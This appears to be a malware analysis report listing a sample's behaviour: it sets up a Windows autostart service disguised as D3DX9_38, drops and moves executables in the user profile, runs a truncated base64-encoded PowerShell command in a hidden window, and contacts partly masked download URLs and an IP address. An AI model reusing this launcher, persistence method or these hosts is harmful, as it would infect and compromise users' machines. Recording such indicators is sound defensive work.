Technical Information
- [<HKLM>\System\CurrentControlSet\Services\D3DX9_38] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\D3DX9_38] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDIBO\D3DX9_38.exe"'
- 'D3DX9_38' "%WINDIR%\SysWOW64\KBDIBO\D3DX9_38.exe"
- 'D3DX9_38' %WINDIR%\SysWOW64\KBDIBO\D3DX9_38.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZAF8ANAB5AHcAdAB1AD0AKAAnAEUAJwArACcANwA4ACcAKwAoACcAbAAnACsAJwA1AG8AZgAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAdQBzAGUAUgBQAHIAbwBGAEkATABFAFwAcgBiAE...
- %HOMEPATH%\rbd3ol9\k141au6\pajtny_.exe
- %WINDIR%\syswow64\kbdibo\d3dx9_38.exe
- from %HOMEPATH%\rbd3ol9\k141au6\pajtny_.exe to %WINDIR%\syswow64\kbdibo\d3dx9_38.exe
- '50.##1.220.50':80
- http://ed####edoors.com/wp-includes/nN/
- http://50.##1.220.50/oMjcop12WtJzhUKJsLM/eUkMWl/dFOhzEFMnh/2d4kFXhE/
- DNS ASK ed####edoors.com
- '%HOMEPATH%\rbd3ol9\k141au6\pajtny_.exe'
- '%WINDIR%\syswow64\kbdibo\d3dx9_38.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZAF8ANAB5AHcAdAB1AD0AKAAnAEUAJwArACcANwA4ACcAKwAoACcAbAAnACsAJwA1AG8AZgAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAdQBzAGUAUgBQAHIAbwBGAEkATABFAFwAcgBiAE...' (with hidden window)